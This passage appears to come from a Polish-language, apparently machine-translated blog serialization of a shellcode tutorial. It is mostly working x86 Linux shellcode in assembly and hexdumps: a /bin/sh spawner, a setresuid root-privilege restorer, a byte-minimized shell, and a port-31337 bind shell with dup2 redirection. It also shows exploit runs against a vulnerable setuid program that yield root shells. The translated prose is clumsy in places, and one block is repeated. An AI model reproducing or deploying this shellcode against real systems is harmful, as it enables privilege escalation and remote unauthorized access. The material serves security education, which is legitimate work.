int 0x80 ; Do syscall: write(1, string, 14)

; void _exit(int status);

mov al, 1 ; Exit syscall #1, the top 3 bytes are still zeroed.

dec ebx ; Decrement ebx back down to 0 for status = 0.

int 0x80 ; Do syscall: exit(0)

one:

call two ; Call back upwards to avoid null bytes

db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes.

Po złożeniu tego kodu powłoki, hexdump i grep są używane do szybkiego sprawdzenia, czy nie ma pustych bajtów.

reader@hacking:~/booksrc $ nasm helloworld3.s

reader@hacking:~/booksrc $ hexdump -C helloworld3 | grep --color=auto 00

00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....|

00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,|

00000020 20 77 6f 72 6c 64 21 0a 0d | world!..|

00000029

reader@hacking:~/booksrc $

Teraz ten shellcode jest użyteczny, ponieważ nie zawiera żadnych bajtów null. Podczas korzystania z exploita program notesearch jest wymuszany na powitaniu świata jak początkujący.

reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld3)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9bc

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xbc\xf9\xff\xbf"x40')

[DEBUG] found a 33 byte note for user id 999

-------[ end of note data ]-------

Hello, world!

reader@hacking :~/booksrc $

Powrót

13.09.2020

Shellcode odradzający powłokę

Teraz, gdy nauczyłeś się, jak tworzyć wywołania systemowe i unikać bajtów zerowych, można skonstruować wszystkie rodzaje kodów powłoki. Aby utworzyć powłokę, musimy wykonać wywołanie systemowe, aby wykonać program powłoki / bin / sh. Wywołanie systemowe numer 11, execve (), jest podobne do funkcji C () wykonywanej w poprzednich częściach.

EXECVE(2) Linux Programmer's Manual EXECVE(2)

NAME

execve - execute program

SYNOPSIS

#include < unistd.h >

int execve(const char *filename, char *const argv[],

char *const envp[]);

DESCRIPTION

execve() executes the program pointed to by filename. Filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined as int main(int argc, char *argv[], char *envp[]).

Pierwszym argumentem nazwy pliku powinien być wskaźnik do łańcucha "/ bin / sh", ponieważ to właśnie chcemy wykonać. Tablica środowiska - trzeci argument - może być pusta, ale nadal musi być zakończona za pomocą 32-bitowego wskaźnika pustego. Tablica argumentów - drugi argument - również musi zostać zakończona zerowo; musi również zawierać wskaźnik łańcucha (ponieważ zerowy argument jest nazwą uruchomionego programu). Sporządzono w C, program wykonujący to wywołanie wyglądałby tak:

exec_shell.c

#include < unistd.h >

int main() {

char filename[] = "/bin/sh\x00";

char **argv, **envp; // Arrays that contain char pointers

argv[0] = filename; // The only argument is filename.

argv[1] = 0; // Null terminate the argument array.

envp[0] = 0; // Null terminate the environment array.

execve(filename, argv, envp);

Aby to zrobić w złożeniu, argument i tablice środowiskowe muszą być wbudowane w pamięć. Ponadto ciąg "/ bin / sh" musi zostać zakończony bajtem null. To musi być również wbudowane w pamięć. Radzenie sobie z pamięcią w zespole jest podobne do używania wskaźników w C. Instrukcja lea, której nazwa oznacza adres efektywnego obciążenia, działa jak operator adresu w C.

lea < dest >, < source > : Załaduj efektywny adres operandu źródłowego do operandu docelowego.

Dzięki składni zasemblerowej Intela, operandy można wyłuskać jako wskaźniki, jeśli są one otoczone nawiasami kwadratowymi. Na przykład poniższa instrukcja w zespole traktuje EBX + 12 jako wskaźnik i zapisuje eax do gdzie to wskazuje.

89 43 0C mov [ebx + 12], eax

Poniższy kod powłoki używa tych nowych instrukcji do budowania argumentów execve () w pamięci. Tablica środowiska jest zwinięta na końcu tablicy argumentów, więc mają tę samą 32-bitową wartość NULL terminator.

exec_shell.s

BITS 32

jmp short two ; Jump down to the bottom for the call trick.

one:

; int execve(const char *filename, char *const argv [], char *const envp[])

pop ebx ; Ebx has the addr of the string.

xor eax, eax ; Put 0 into eax.

mov [ebx+7], al ; Null terminate the /bin/sh string.

mov [ebx+8], ebx ; Put addr from ebx where the AAAA is.

mov [ebx+12], eax ; Put 32-bit null terminator where the BBBB is.

lea ecx, [ebx+8] ; Load the address of [ebx+8] into ecx for argv ptr.

lea edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr.

mov al, 11 ; Syscall #11

int 0x80 ; Do it.

two:

call one ; Use a call to get string address.

db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.

Po zakończeniu łańcucha i zbudowaniu tablic kod powłoki używa instrukcji lea (pokazanej pogrubioną czcionką powyżej), aby umieścić wskaźnik do tablicy argumentów w rejestrze ECX. Załadowanie adresu efektywnego rejestru nawiasowego dodanego do wartości jest skutecznym sposobem dodania wartości do rejestru i zapisania wyniku w innym rejestrze. W powyższym przykładzie nawiasy dereferencyjne EBX + 8 jako argument do lea, który ładuje ten adres do EDX. Załadowanie adresu wskaźnika z dereferencją powoduje wygenerowanie oryginalnego wskaźnika, więc ta instrukcja umieszcza EBX + 8 w EDX. Normalnie wymagałoby to zarówno instrukcji mov, jak i add. Po złożeniu ten kod powłoki jest pozbawiony bajtów zerowych. Podczas używania w exploicie pojawi się powłoka.

reader@hacking:~/booksrc $ nasm exec_shell.s

reader@hacking:~/booksrc $ wc -c exec_shell

36 exec_shell

reader@hacking:~/booksrc $ hexdump -C exec_shell

00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|

00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|

00000020 6e 2f 73 68 |n/sh|

00000024

reader@hacking:~/booksrc $ export SHELLCODE=$(cat exec_shell)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9c0

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc0\xf9\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

[DEBUG] found a 5 byte note for user id 999

[DEBUG] found a 35 byte note for user id 999

[DEBUG] found a 9 byte note for user id 999

[DEBUG] found a 33 byte note for user id 999

-------[ end of note data ]-------

sh-3.2# whoami

root

sh-3.2#

Ten kod powłoki może jednak zostać skrócony do mniej niż bieżącego 45 bajtów. Ponieważ kod powłoki musi być gdzieś wprowadzony do pamięci programu, mniejszy kod powłoki może być użyty w trudniejszych sytuacjach z mniejszymi użytecznymi buforami. Im mniejszy kod powłoki, tym więcej sytuacji można użyć. Oczywiście wizualna pomoc XAAAABBBB może zostać przycięta od końca łańcucha, co obniża kod powłoki do 36 bajtów.

reader@hacking:~/booksrc/shellcodes $ hexdump -C exec_shell

00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|

00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|

00000020 6e 2f 73 68 |n/sh|

00000024

reader@hacking:~/booksrc/shellcodes $ wc -c exec_shell

36 exec_shell

reader@hacking:~/booksrc/shellcodes $

Ten kod powłoki może zostać dodatkowo zmniejszony poprzez przeprojektowanie go i wydajniejsze wykorzystanie rejestrów. Rejestr ESP jest wskaźnikiem stosu, wskazującym górę stosu. Gdy wartość jest wypychana na stos, ESP jest przesuwany w górę w pamięci (przez odjęcie 4), a wartość jest umieszczana na górze stosu. Gdy wartość zostanie wyrzucona ze stosu, wskaźnik w ESP jest przenoszony w dół do pamięci (przez dodanie 4). Poniższy kod powłoki używa instrukcji push do budowania niezbędnych struktur w pamięci dla wywołania systemowego execve ().

tiny_shell.s

BITS 32

; execve(const char *filename, char *const argv [], char *const envp[])

xor eax, eax ; Zero out eax.

push eax ; Push some nulls for string termination.

push 0x68732f2f ; Push "//sh" to the stack.

push 0x6e69622f ; Push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.

push eax ; Push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; Push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

mov al, 11 ; Syscall #11.

int 0x80 ; Do it.

Ten kod powłoki buduje zakończony znakiem null łańcuch "/ bin // sh" na stosie, a następnie kopiuje ESP dla wskaźnika. Dodatkowy ukośnik nie ma znaczenia i jest skutecznie ignorowany. Ta sama metoda jest używana do budowania tablic dla pozostałych argumentów. Wynikowy kod powłoki nadal tworzy powłokę, ale ma tylko 25 bajtów, w porównaniu z 36 bajtami przy użyciu metody wywołania jmp.

reader@hacking:~/booksrc $ nasm tiny_shell.s

reader@hacking:~/booksrc $ wc -c tiny_shell

25 tiny_shell

reader@hacking:~/booksrc $ hexdump -C tiny_shell

00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|

00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|

00000019

reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff9cb

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xcb\xf9\xff\xbf"x40')

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

[DEBUG] found a 5 byte note for user id 999

[DEBUG] found a 35 byte note for user id 999

[DEBUG] found a 9 byte note for user id 999

[DEBUG] found a 33 byte note for user id 999

-------[ end of note data ]-------

sh-3.2#

Powrót

14.09.2020

Sprawa przywilejów

Aby złagodzić rosnącą eskalację uprawnień, niektóre uprzywilejowane procesy obniżą swoje efektywne uprawnienia, wykonując czynności, które nie wymagają tego rodzaju dostępu. Można to zrobić za pomocą funkcji seteuid (), która ustawi efektywny identyfikator użytkownika. Zmieniając efektywny identyfikator użytkownika, można zmienić uprawnienia procesu. Strona podręcznika funkcji seteuid () jest pokazana poniżej

SETEGID(2) Linux Programmer's Manual SETEGID(2)

NAME

seteuid, setegid - set effective user or group ID

SYNOPSIS

#include

#include < unistd.h >

int seteuid(uid_t euid);

int setegid(gid_t egid);

DESCRIPTION

seteuid() sets the effective user ID of the current process.

Unprivileged user processes may only set the effective user ID to

ID to the real user ID, the effective user ID or the saved set-user-ID.

Precisely the same holds for setegid() with "group" instead of "user".

RETURN VALUE

On success, zero is returned. On error, -1 is returned, and errno is

set appropriately.

Ta funkcja jest używana przez poniższy kod do upuszczenia uprawnień do tych z użytkownika "gry" przed podatnym na ataki wywołaniem strcpy ().

drop_privs.c

#include < unistd.h >

void lowered_privilege_function(unsigned char *ptr) {

char buffer[50];

seteuid(5); // Drop privileges to games user.

strcpy(buffer, ptr);

}

int main(int argc, char *argv[]) {

if (argc > 0)

lowered_privilege_function(argv[1]);

}

Nawet jeśli ten skompilowany program jest setuid root, uprawnienia są usuwane do użytkownika gry, zanim kod powłoki może zostać wykonany. Spowoduje to tylko utworzenie powłoki dla użytkownika gry, bez dostępu do roota.

reader@hacking:~/booksrc $ gcc -o drop_privs drop_privs.c

reader@hacking:~/booksrc $ sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs

reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs

SHELLCODE will be at 0xbffff9cb

reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xcb\xf9\xff\xbf"x40')

sh-3.2$ whoami

games

sh-3.2$ id

uid=999(reader) gid=999(reader) euid=5(games)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),

104(scan

ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)

sh-3.2$

Na szczęście przywileje można łatwo przywrócić na początku naszego kodu powłoki za pomocą wywołania systemowego, aby przywrócić uprawnienia rootowi. Najbardziej kompletnym sposobem na to jest wywołanie systemowe setresuid (), które ustawia rzeczywiste, skuteczne i zapisane identyfikatory użytkowników. Numer wywołania systemowego i strona podręcznika są pokazane poniżej.

reader@hacking:~/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h

#define __NR_setresuid 164

#define __NR_setresuid32 208

reader@hacking:~/booksrc $ man 2 setresuid

SETRESUID(2) Linux Programmer's Manual SETRESUID(2)

NAME

setresuid, setresgid - set real, effective and saved user or group ID

SYNOPSIS

#define _GNU_SOURCE

#include < unistd.h >

int setresuid(uid_t ruid, uid_t euid, uid_t suid);

int setresgid(gid_t rgid, gid_t egid, gid_t sgid);

DESCRIPTION

setresuid() sets the real user ID, the effective user ID, and the saved

set-user-ID of the current process.

Poniższy shellcode wywołuje setresuid () przed pojawieniem się powłoki w celu przywrócenia uprawnień roota.

reader@hacking:~/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h

#define __NR_setresuid 164

#define __NR_setresuid32 208

reader@hacking:~/booksrc $ man 2 setresuid

SETRESUID(2) Linux Programmer's Manual SETRESUID(2)

NAME

setresuid, setresgid - set real, effective and saved user or group ID

SYNOPSIS

#define _GNU_SOURCE

#include < unistd.h >

int setresuid(uid_t ruid, uid_t euid, uid_t suid);

int setresgid(gid_t rgid, gid_t egid, gid_t sgid);

DESCRIPTION

setresuid() sets the real user ID, the effective user ID, and the saved

set-user-ID of the current process.

Poniższy shellcode wywołuje setresuid () przed pojawieniem się powłoki w celu przywrócenia uprawnień roota.

priv_shell.s

BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);

xor eax, eax ; Zero out eax.

xor ebx, ebx ; Zero out ebx.

xor ecx, ecx ; Zero out ecx.

xor edx, edx ; Zero out edx.

mov al, 0xa4 ; 164 (0xa4) for syscall #164

int 0x80 ; setresuid(0, 0, 0) Restore all root privs.

; execve(const char *filename, char *const argv [], char *const envp[])

xor eax, eax ; Make sure eax is zeroed again.

mov al, 11 ; syscall #11

push ecx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.

push ecx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

W ten sposób, nawet jeśli program działa z obniżonymi uprawnieniami, gdy jest wykorzystywany, kod powłoki może przywrócić uprawnienia. Efekt ten pokazano poniżej, wykorzystując ten sam program z upuszczonymi uprawnieniami.

reader@hacking:~/booksrc $ nasm priv_shell.s

reader@hacking:~/booksrc $ export SHELLCODE=$(cat priv_shell)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs

SHELLCODE will be at 0xbffff9bf

reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xbf\xf9\xff\xbf"x40')

sh-3.2# whoami

root

sh-3.2# id

uid=0(root) gid=999(reader)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),

104(scan

ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)

sh-3.2#

Powrót

15.09.2020

I jeszcze mniejszym

Jeszcze kilka bajtów można jeszcze ogolić z tego kodu powłoki. Istnieje jednobajtowa instrukcja x86 o nazwie cdq, która oznacza konwertowanie doubleword na quadword. Zamiast używać argumentów, instrukcja ta zawsze pobiera swoje źródło z rejestru EAX i przechowuje wyniki między rejestrami EDX i EAX. Ponieważ rejestry są 32-bitowymi podwójnymi słowami, do przechowywania 64-bitowego kwadratu potrzebne są dwa rejestry. Konwersja jest po prostu kwestią rozszerzenia bitu znaku z 32-bitowej liczby całkowitej na 64-bitową liczbę całkowitą. Operacyjnie oznacza to, że jeśli bit znaku EAX wynosi 0, instrukcja cdq wyzeruje rejestr EDX. Użycie xor do zera rejestr EDX wymaga dwóch bajtów; więc jeśli EAX jest już wyzerowane, użycie instrukcji cdq do zera EDX zapisze jeden bajt

31 D2 xor edx, edx

w porównaniu do

99 cdq

Kolejny bajt można zapisać dzięki sprytnemu wykorzystaniu stosu. Ponieważ stos jest wyrównany 32-bitowo, wartość jednobajtowa przesunięta do stosu zostanie wyrównana jako podwójne słowo. Po wyjęciu tej wartości zostanie ona rozszerzona o znak, wypełniając cały rejestr. Instrukcje, które wypychają pojedynczy bajt i wrzucają go z powrotem do rejestru, pobierają trzy bajty, podczas gdy użycie xor do wyzerowania rejestru i przeniesienie jednego bajtu zajmuje cztery bajty

31 C0 xor eax, eax

B0 0B mov al, 0xb

w porównaniu do

6A 0B push byte +0xb

58 pop eax

Te triki są używane w poniższym wykazie kodu powłoki. Składa się w ten sam kod powłoki, co w poprzednich sekcjach.

shellcode.s

BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);

xor eax, eax ; Zero out eax.

xor ebx, ebx ; Zero out ebx.

xor ecx, ecx ; Zero out ecx.

cdq ; Zero out edx using the sign bit from eax.

mov BYTE al, 0xa4 ; syscall 164 (0xa4)

int 0x80 ; setresuid(0, 0, 0) Restore all root privs.

; execve(const char *filename, char *const argv [], char *const envp[])

push BYTE 11 ; push 11 to the stack.

pop eax ; pop the dword of 11 into eax.

push ecx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.

push ecx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Składnia do przesyłania pojedynczego bajtu wymaga zadeklarowania rozmiaru. Poprawne rozmiary to BYTE dla jednego bajtu, WORD dla dwóch bajtów i DWORD dla czterech bajtów. Te rozmiary mogą wynikać z szerokości rejestru, więc przejście do rejestru AL oznacza rozmiar BYTE. Chociaż nie jest konieczne używanie rozmiaru we wszystkich sytuacjach, nie boli i może być pomocne.

Powrót

16.09.2020

Kod powłoki wiążący port Wykorzystując zdalny program, zaprojektowany przez nas kod powłoki nie będzie działać. Wstrzyknięty kod powłoki musi komunikować się przez sieć, aby dostarczyć interaktywny znak zachęty roota. Powiązany z portem kod powłoki powiąże powłokę z portem sieciowym, w którym nasłuchuje połączeń przychodzących. W poprzednim rozdziale użyliśmy tego rodzaju kodu powłoki, aby wykorzystać serwer tinyweb. Poniższy kod C wiąże się z portem 31337 i nasłuchuje połączenia TCP.

bind_port.c

Code View:

#include < unistd.h >

#include < string.h >

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

int main(void) {

int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd

struct sockaddr_in host_addr, client_addr; // My address information

socklen_t sin_size;

int yes=1;

sockfd = socket(PF_INET, SOCK_STREAM, 0);

host_addr.sin_family = AF_INET; // Host byte order

host_addr.sin_port = htons(31337); // Short, network byte order

host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.

memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));

listen(sockfd, 4);

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

}

Wszystkie znane funkcje gniazd można uzyskać za pomocą pojedynczego wywołania systemowego Linux, odpowiednio nazwanego socketcall (). Jest to numer syscall 102, który ma nieco tajemniczą stronę podręcznika.

reader@hacking:~/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h

#define __NR_socketcall 102

reader@hacking:~/booksrc $ man 2 socketcall

IPC(2) Linux Programmer's Manual IPC(2)

NAME

socketcall - socket system calls

SYNOPSIS

int socketcall(int call, unsigned long *args);

DESCRIPTION

socketcall() is a common kernel entry point for the socket system calls. call

determines which socket function to invoke. args points to a block containing

the actual arguments, which are passed through to the appropriate call.

User programs should call the appropriate functions by their usual

names. Only standard library implementors and kernel hackers need to

know about socketcall().



Możliwe numery wywołań pierwszego argumentu są wymienione w pliku dołączania linux / net.h

From /usr/include/linux/net.h

#define SYS_SOCKET 1 /* sys_socket(2) */

#define SYS_BIND 2 /* sys_bind(2) */

#define SYS_CONNECT 3 /* sys_connect(2) */

#define SYS_LISTEN 4 /* sys_listen(2) */

#define SYS_ACCEPT 5 /* sys_accept(2) */

#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */

#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */

#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */

#define SYS_SEND 9 /* sys_send(2) */

#define SYS_RECV 10 /* sys_recv(2) */

#define SYS_SENDTO 11 /* sys_sendto(2) */

#define SYS_RECVFROM 12 /* sys_recvfrom(2) */

#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */

#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */

#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */

#define SYS_SENDMSG 16 /* sys_sendmsg(2) */

#define SYS_RECVMSG 17 /* sys_recvmsg(2) */

Tak więc, aby wywoływać systemowe gniazda za pomocą Linuksa, EAX ma zawsze wartość socketcall (), EBX zawiera typ wywołania gniazda, a ECX jest wskaźnikiem do argumentów wywołania gniazda. Wywołania są dość proste, ale niektóre z nich wymagają struktury sockaddr, która musi być zbudowana przez kod powłoki. Debugowanie skompilowanego kodu C jest najbardziej bezpośrednim sposobem spojrzenia na tę strukturę w pamięci.

reader@hacking:~/booksrc $ gcc -g bind_port.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 18

13 sockfd = socket(PF_INET, SOCK_STREAM, 0);

14

15 host_addr.sin_family = AF_INET; // Host byte order

16 host_addr.sin_port = htons(31337); // Short, network byte order

17 host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.

18 memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

19

20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));

21

22 listen(sockfd, 4);

(gdb) break 13

Breakpoint 1 at 0x804849b: file bind_port.c, line 13.

(gdb) break 20

Breakpoint 2 at 0x80484f5: file bind_port.c, line 20.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Breakpoint 1, main () at bind_port.c:13

13 sockfd = socket(PF_INET, SOCK_STREAM, 0);

(gdb) x/5i $eip

0x804849b < main+23 >: mov DWORD PTR [esp+8],0x0

0x80484a3 < main+31 >: mov DWORD PTR [esp+4],0x1

0x80484ab < main+39 >: mov DWORD PTR [esp],0x2

0x80484b2 < main+46 >: call 0x8048394 < socket@plt >

0x80484b7 < main+51 >: mov DWORD PTR [ebp-12],eax

(gdb)

Pierwszy punkt przerwania jest tuż przed wystąpieniem wywołania gniazda, ponieważ musimy sprawdzić wartości PF_INET i SOCK_STREAM. Wszystkie trzy argumenty są wypychane na stos (ale z instrukcjami mov) w odwrotnej kolejności. Oznacza to, że PF_INET to 2, a SOCK_STREAM to 1.

(gdb) cont

Continuing.

Breakpoint 2, main () at bind_port.c:20

20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));

(gdb) print host_addr

$1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0},

sin_zero = "\000\000\000\000\000\000\000"}

(gdb) print sizeof(struct sockaddr)

$2 = 16

(gdb) x/16xb &host_addr

0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00

0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

(gdb) p /x 27002

$3 = 0x697a

(gdb) p 0x7a69

$4 = 31337

(gdb)

Następny punkt przerwania występuje po wypełnieniu struktury sockaddr wartościami. Debuger jest wystarczająco inteligentny, aby dekodować elementy struktury, gdy drukowany jest host_addr, ale teraz musisz być wystarczająco inteligentny, aby zdać sobie sprawę, że port jest przechowywany w kolejności bajtów sieciowych. Elementy sin_family i sin_port są słowami, po których następuje adres jako DWORD. W tym przypadku adres to 0, co oznacza, że dowolny adres może być użyty do powiązania. Pozostałe osiem bajtów później to tylko dodatkowa przestrzeń w strukturze. Pierwsze osiem bajtów w strukturze (pokazane pogrubieniem) zawiera wszystkie ważne informacje. Poniższe instrukcje montażu wykonują wszystkie wywołania gniazda potrzebne do powiązania z portem 31337 i akceptują połączenia TCP. Struktura sockaddr i tablice argumentów są tworzone przez wypychanie wartości w odwrotnej kolejności do stosu, a następnie kopiowanie ESP do ECX. Ostatnie osiem bajtów struktury sockaddr nie jest faktycznie wypychane na stos, ponieważ nie są one używane. Jakiekolwiek losowe osiem bajtów zdarzy się na stosie, zajmie to miejsce, co jest w porządku

bind_port.s

BITS 32

; s = socket(2, 1, 0)

push BYTE 0x66 ; socketcall is syscall #102 (0x66).

pop eax

cdq ; Zero out edx for use as a null DWORD later.

xor ebx, ebx ; ebx is the type of socketcall.

inc ebx ; 1 = SYS_SOCKET = socket()

push edx ; Build arg array: { protocol = 0,

push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,

push BYTE 0x2 ; AF_INET = 2 }

mov ecx, esp ; ecx = ptr to argument array

int 0x80 ; After syscall, eax has socket file descriptor.

mov esi, eax ; save socket FD in esi for later

; bind(s, [2, 31337, 0], 16)

push BYTE 0x66 ; socketcall (syscall #102)

pop eax

inc ebx ; ebx = 2 = SYS_BIND = bind()

push edx ; Build sockaddr struct: INADDR_ANY = 0

push WORD 0x697a ; (in reverse order) PORT = 31337

push WORD bx ; AF_INET = 2

mov ecx, esp ; ecx = server struct pointer

push BYTE 16 ; argv: { sizeof(server struct) = 16,

push ecx ; server struct pointer,

push esi ; socket file descriptor }

mov ecx, esp ; ecx = argument array

int 0x80 ; eax = 0 on success

; listen(s, 0)

mov BYTE al, 0x66 ; socketcall (syscall #102)

inc ebx

inc ebx ; ebx = 4 = SYS_LISTEN = listen()

push ebx ; argv: { backlog = 4,

push esi ; socket fd }

mov ecx, esp ; ecx = argument array

int 0x80

; c = accept(s, 0, 0)

mov BYTE al, 0x66 ; socketcall (syscall #102)

inc ebx ; ebx = 5 = SYS_ACCEPT = accept()

push edx ; argv: { socklen = 0,

push edx ; sockaddr ptr = NULL,

push esi ; socket fd }

mov ecx, esp ; ecx = argument array

int 0x80 ; eax = connected socket FD

Po złożeniu i użyciu w exploicie, ten kod powłoki połączy się z portem 31337 i zaczeka na połączenie przychodzące, blokując wywołanie akceptacji. Po zaakceptowaniu połączenia nowy deskryptor pliku gniazda jest umieszczany w EAX na końcu tego kodu. To naprawdę nie będzie przydatne, dopóki nie zostanie połączone z opisanym wcześniej kodem odradzania powłoki. Na szczęście standardowe deskryptory plików sprawiają, że fuzja jest niezwykle prosta.

Powrót

17.09.2020

Powielanie standardowych deskryptorów plików

Standardowe wejście, standardowe wyjście i błąd standardowy to trzy standardowe deskryptory plików używane przez programy do wykonywania standardowych operacji we / wy. Gniazda są również deskryptorami plików, z których można odczytać i zapisać. Po prostu zamieniając standardowe wejście, wyjście i błąd utworzonej powłoki na połączony deskryptor pliku gniazda, powłoka zapisuje dane wyjściowe i błędy w gnieździe i odczytuje jego dane wejściowe z bajtów odebranych przez gniazdo. do duplikowania deskryptorów plików, zwanych dup2. Jest to numer systemowy 63.

reader@hacking:~/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h

#define __NR_dup2 63

reader@hacking:~/booksrc $ man 2 dup2

DUP(2) Linux Programmer's Manual DUP(2)

NAME

dup, dup2 - duplicate a file descriptor

SYNOPSIS

#include < unistd.h >

int dup(int oldfd);

int dup2(int oldfd, int newfd);

DESCRIPTION

dup() and dup2() create a copy of the file descriptor oldfd.

dup2() makes newfd be the copy of oldfd, closing newfd first if necessary.

Kod powłoki bind_port.s został pominięty przy podłączonym deskryptorze pliku gniazda w EAX. W pliku bind_shell_beta.s dodano następujące instrukcje, aby zduplikować to gniazdo do standardowych deskryptorów plików we / wy; następnie instrukcje tiny_shell są wywoływane w celu wykonania powłoki w bieżącym procesie. Standardowymi deskryptorami plików wejściowych i wyjściowych powłoki spawnowanej będzie połączenie TCP, umożliwiające zdalny dostęp do powłoki.

New Instructions from bind_shell1.s

; dup2(connected socket, {all three standard I/O file descriptors})

mov ebx, eax ; Move socket FD in ebx.

push BYTE 0x3F ; dup2 syscall #63

pop eax

xor ecx, ecx ; ecx = 0 = standard input

int 0x80 ; dup(c, 0)

mov BYTE al, 0x3F ; dup2 syscall #63

inc ecx ; ecx = 1 = standard output

int 0x80 ; dup(c, 1)

mov BYTE al, 0x3F ; dup2 syscall #63

inc ecx ; ecx = 2 = standard error

int 0x80 ; dup(c, 2)

; execve(const char *filename, char *const argv [], char *const envp[])

mov BYTE al, 11 ; execve syscall #11

push edx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.

push ecx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Gdy ten kod powłoki zostanie złożony i użyty w exploicie, zostanie powiązany z portem 31337 i będzie czekał na połączenie przychodzące. W poniższym wyjściu grep służy do szybkiego sprawdzania bajtów null. Na koniec proces zawiesza się, czekając na połączenie.

reader@hacking:~/booksrc $ nasm bind_shell_beta.s

